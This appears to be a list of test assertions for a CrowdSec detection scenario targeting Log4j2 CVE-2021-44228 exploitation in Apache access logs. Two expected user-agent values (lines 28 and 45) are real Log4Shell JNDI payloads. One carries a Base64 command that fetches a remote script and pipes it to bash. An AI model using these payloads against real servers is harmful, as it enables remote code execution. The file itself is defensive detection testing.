| 1 |
len(results) == 3 |
| 2 |
"192.168.1.5" in results[0].Overflow.GetSources() |
| 3 |
results[0].Overflow.Sources["192.168.1.5"].IP == "192.168.1.5" |
| 4 |
results[0].Overflow.Sources["192.168.1.5"].Range == "" |
| 5 |
results[0].Overflow.Sources["192.168.1.5"].GetScope() == "Ip" |
| 6 |
results[0].Overflow.Sources["192.168.1.5"].GetValue() == "192.168.1.5" |
| 7 |
results[0].Overflow.Alert.Events[0].GetMeta("datasource_path") == "apache_log4j2_cve-2021-44228.log" |
| 8 |
results[0].Overflow.Alert.Events[0].GetMeta("datasource_type") == "file" |
| 9 |
results[0].Overflow.Alert.Events[0].GetMeta("http_path") == "/" |
| 10 |
results[0].Overflow.Alert.Events[0].GetMeta("http_status") == "200" |
| 11 |
results[0].Overflow.Alert.Events[0].GetMeta("http_user_agent") == "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" |
| 12 |
results[0].Overflow.Alert.Events[0].GetMeta("http_verb") == "GET" |
| 13 |
results[0].Overflow.Alert.Events[0].GetMeta("log_type") == "http_access-log" |
| 14 |
results[0].Overflow.Alert.Events[0].GetMeta("service") == "http" |
| 15 |
results[0].Overflow.Alert.Events[0].GetMeta("source_ip") == "192.168.1.5" |
| 16 |
results[0].Overflow.Alert.GetScenario() == "crowdsecurity/apache_log4j2_cve-2021-44228" |
| 17 |
results[0].Overflow.Alert.Remediation == true |
| 18 |
results[0].Overflow.Alert.GetEventsCount() == 1 |
| 19 |
"192.168.1.4" in results[1].Overflow.GetSources() |
| 20 |
results[1].Overflow.Sources["192.168.1.4"].IP == "192.168.1.4" |
| 21 |
results[1].Overflow.Sources["192.168.1.4"].Range == "" |
| 22 |
results[1].Overflow.Sources["192.168.1.4"].GetScope() == "Ip" |
| 23 |
results[1].Overflow.Sources["192.168.1.4"].GetValue() == "192.168.1.4" |
| 24 |
results[1].Overflow.Alert.Events[0].GetMeta("datasource_path") == "apache_log4j2_cve-2021-44228.log" |
| 25 |
results[1].Overflow.Alert.Events[0].GetMeta("datasource_type") == "file" |
| 26 |
results[1].Overflow.Alert.Events[0].GetMeta("http_path") == "/" |
| 27 |
results[1].Overflow.Alert.Events[0].GetMeta("http_status") == "200" |
| 28 |
results[1].Overflow.Alert.Events[0].GetMeta("http_user_agent") == "${jndi:${lower:l}${lower:d}a${lower:p}://world80.log4j.bin${upper:a}ryedge.io:80/callback}" |
| 29 |
results[1].Overflow.Alert.Events[0].GetMeta("http_verb") == "GET" |
| 30 |
results[1].Overflow.Alert.Events[0].GetMeta("log_type") == "http_access-log" |
| 31 |
results[1].Overflow.Alert.Events[0].GetMeta("service") == "http" |
| 32 |
results[1].Overflow.Alert.Events[0].GetMeta("source_ip") == "192.168.1.4" |
| 33 |
results[1].Overflow.Alert.GetScenario() == "crowdsecurity/apache_log4j2_cve-2021-44228" |
| 34 |
results[1].Overflow.Alert.Remediation == true |
| 35 |
results[1].Overflow.Alert.GetEventsCount() == 1 |
| 36 |
"192.168.1.3" in results[2].Overflow.GetSources() |
| 37 |
results[2].Overflow.Sources["192.168.1.3"].IP == "192.168.1.3" |
| 38 |
results[2].Overflow.Sources["192.168.1.3"].Range == "" |
| 39 |
results[2].Overflow.Sources["192.168.1.3"].GetScope() == "Ip" |
| 40 |
results[2].Overflow.Sources["192.168.1.3"].GetValue() == "192.168.1.3" |
| 41 |
results[2].Overflow.Alert.Events[0].GetMeta("datasource_path") == "apache_log4j2_cve-2021-44228.log" |
| 42 |
results[2].Overflow.Alert.Events[0].GetMeta("datasource_type") == "file" |
| 43 |
results[2].Overflow.Alert.Events[0].GetMeta("http_path") == "/" |
| 44 |
results[2].Overflow.Alert.Events[0].GetMeta("http_status") == "401" |
| 45 |
results[2].Overflow.Alert.Events[0].GetMeta("http_user_agent") == "${jndi:ldap://45.155.205.233:12344/Basic/Command/Base64/KGN1cmwgLXMgNDUuMTU1LjIwNS4yMzM6NTg3NC84Mi42NC4xNDUuMTQxOjQ0M3x8d2dldCAtcSAtTy0gNDUuMTU1LjIwNS4yMzM6NTg3NC84Mi42NC4xNDUuMTQxOjQ0Myl8YmFzaA==}" |
| 46 |
results[2].Overflow.Alert.Events[0].GetMeta("http_verb") == "GET" |
| 47 |
results[2].Overflow.Alert.Events[0].GetMeta("log_type") == "http_access-log" |
| 48 |
results[2].Overflow.Alert.Events[0].GetMeta("service") == "http" |
| 49 |
results[2].Overflow.Alert.Events[0].GetMeta("source_ip") == "192.168.1.3" |
| 50 |
results[2].Overflow.Alert.GetScenario() == "crowdsecurity/apache_log4j2_cve-2021-44228" |
| 51 |
results[2].Overflow.Alert.Remediation == true |
| 52 |
results[2].Overflow.Alert.GetEventsCount() == 1 |